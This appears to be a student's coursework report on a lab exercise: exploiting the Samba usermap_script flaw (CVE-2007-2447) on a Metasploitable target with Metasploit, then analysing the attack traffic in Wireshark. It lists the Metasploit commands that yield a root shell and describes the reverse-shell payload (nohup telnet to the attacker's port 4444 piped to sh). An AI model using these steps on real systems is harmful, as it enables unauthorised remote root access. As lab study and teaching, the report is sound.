20212904 2021-2022-2 《网络攻防实践》实践七报告

20212904 2021-2022-2 《网络攻防实践》实践七报告

1.实践内容

  • 使用Metasploit渗透测试软件进行Linux远程渗透攻击,攻击Metasploitable_ubuntu靶机上的Samba服务Usermap_script安全漏洞,获取靶机的主机访问权限。实践步骤如下:
    ①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
    ②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
    ③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
    ④设置渗透攻击参数(RHOST,LHOST,TARGET等);
    ⑤执行渗透攻击;
    ⑥查看是否正确得到远程Shell,并查看获得的权限。
    (1)Samba安全漏洞
    linux 环境下常用的 samba 服务低版本存在溢出攻击。Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB 协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。
    (2)username_script
    username_script是Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行,影响Samba的3.0.20到3.0.25rc3 版本,当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令。
    (3)Metasplout
    Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。Metasploit核心中绝大部分有Rudy实现,一小部分由汇编和C语言实现。
  • 实践作业:攻防对抗实践。攻击方使用 Metasploit 渗透测试软件 ,选择 Metasploitable_ubuntu 靶机中发现的漏洞进行远程渗透攻击,获得远程控制权,并尝试获得root权限。防守方使用 wireshark 监听获得网络攻击的数据包文件,分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
    (1)shellcode
    shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
    shellcode可以按照攻击者执行的位置分为本地shellcode和远程shellcode。
    本地shellcode:本地运行的shellcode经常用于利用软件漏洞提升权限。比如在Linux下由普通权限提升至root权限。
    远程shellcode:利用软件漏洞获得特定的shellcode,再经由C或Python编写远程攻击程序,进而取得对方电脑的root权限。
    Shellcode是漏洞利用的必备要素,也是漏洞分析的重要环节,我们可以通过对shellcode进行定位来辅助回溯原理并确定漏洞特征,通过对shellcode功能的分析,我们还可以确定漏洞样本的危害程度的及其目的,并优肯追踪攻击来源,这对apt供给分析中的溯源工作非常有利。

2.实践过程

  • 使用Metasploit进行Linux远程渗透攻击
    任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
    (1)实验环境
主机 IP
kali(攻击机) 192.168.11.145
Metasploitable_ubuntu(靶机) 192.168.11.138

(2)攻击机和靶机互ping,成功则表示可以连接。


(3)打开kali,输入msfconsole,启动msfconsole。

(4)选择渗透攻击模块:输入use exploit/multi/samba/usermap_script 选择针对usermap_script 漏洞的渗透攻击模块。

(5)选择攻击负载模块
1)输入show payloads,列举负载模块。

2)输入set payload cmd/unix/reverse,选择18号攻击负载模块TCP(reverse)。(也可以选择其他模块)

(6)配置参数
1)使用show options 查看参数,可见我们需要配置靶机和攻击机IP。

2)输入set LHOST 192.168.11.145设置攻击机为kali,输入set RHOST 192.168.11.138设置靶机为Metasploitable_ubuntu。

3)再次输入show options查看是否配置成功。

(7)开始渗透攻击
1)输入exploit开始攻击。

2)输入ifconfig查看靶机IP与真实IP一致,说明渗透攻击成功。输入whoami查看获得权限为root。

  • 实践作业:攻防对抗实践
    (1)攻击方使用 Metasploit,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
    1)实验环境
主机 IP
kali(攻击机) 192.168.11.145
Metasploitable_ubuntu(靶机) 192.168.11.133

2)输入set LHOST 192.168.11.145设置攻击机IP,输入set RHOST 192.168.11.133设置靶机IP,输入show options查看是否配置成功。

3)输入exploit开始攻击,输入ifconfig查看靶机IP,与真实IP一致说明渗透攻击成功,执行whoami查看获得权限为root。

(2)防守方使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
1)实验环境

主机 IP
kali(攻击机) 192.168.11.146
Metasploitable_ubuntu(靶机) 192.168.11.138

2)对刚开始建立TCP三次握手过程中提出连接请求的数据包中分析,可以看到,攻击者的IP:192.168.11.146,端口:35367;靶机的IP:192.168.11.138,端口:139。查询可知端口139是Unix中的Samba服务端口,由此可得攻击者利用了Samba服务漏洞进行攻击。

2)查看TCP建立连接时间,如图,2022年4月25日晚08:03:30。

3)过滤IP后找到第一个SMB数据包,追踪TCP数据流,找到shellcode,如图,nohup是no hang up的缩写,意为“不挂断”,作用是可以使命一直执行下去,而和用户终端无关;telnet 192.168.11.146 4444表明是通过4444号端口将数据传入攻击机的;sh是运行shell的命令。

4)通过追踪相关TCP包的TCP流,分析后可以看到攻击成功之后在本地执行了哪些命令。

3.学习中遇到的问题及解决

  • 问题1:在攻击机Kali输入 “use /exploit/multi/samba/usermap_script”渗透攻击模块选择失败。
  • 问题1解决方案:原因是目录多加了一个“/”,去掉就可以了。

4.实践总结

这次实验过程不是很复杂,但是实验原理以及基础知识还需要进一步学习,而且在分析数据包的时候有时候不能有针对性地找到相应的包,会犯一些低级错误,说明对wireshark的使用的熟练度还不够,在以后的学习中还需要多加强这方面的练习。

posted @ 2022-04-26 20:37  z小kk  阅读(153)  评论(0编辑  收藏  举报